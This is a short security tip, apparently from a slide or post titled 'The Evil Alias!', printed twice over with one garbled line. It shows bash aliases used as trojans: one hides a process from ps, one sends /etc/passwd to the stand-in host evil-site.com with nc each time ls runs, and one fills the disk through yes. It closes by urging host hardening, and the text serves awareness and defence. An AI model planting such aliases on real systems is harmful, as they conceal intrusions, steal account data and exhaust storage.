

```
#!/usr/bin/env bash
```

```
alias ps="ps | grep -v myBadProcess"
```

```
alias ls="cat /etc/passwd | nc -v evil-site.com 8819 && ls"
```

```
alias mkdir="yes > /tmp/dump & ; mkdir $1"
```

Perform a well hardening of your host systems & be careful with the bot users

There EniAias!

The Evil Alias!

- Old hack attack but useful
- Alias commands could be the best trojan in a system.
- There are very complicated to detect

```
#!/usr/bin/env bash
```

```
alias ps="ps | grep -v myBadProcess"
```

```
alias ls="cat /etc/passwd | nc -v evil-site.com 8819 && ls"
```

```
alias mkdir="yes > /tmp/dump & ; mkdir $1"
```

Perform a well hardening of your host systems & be careful with the bot users
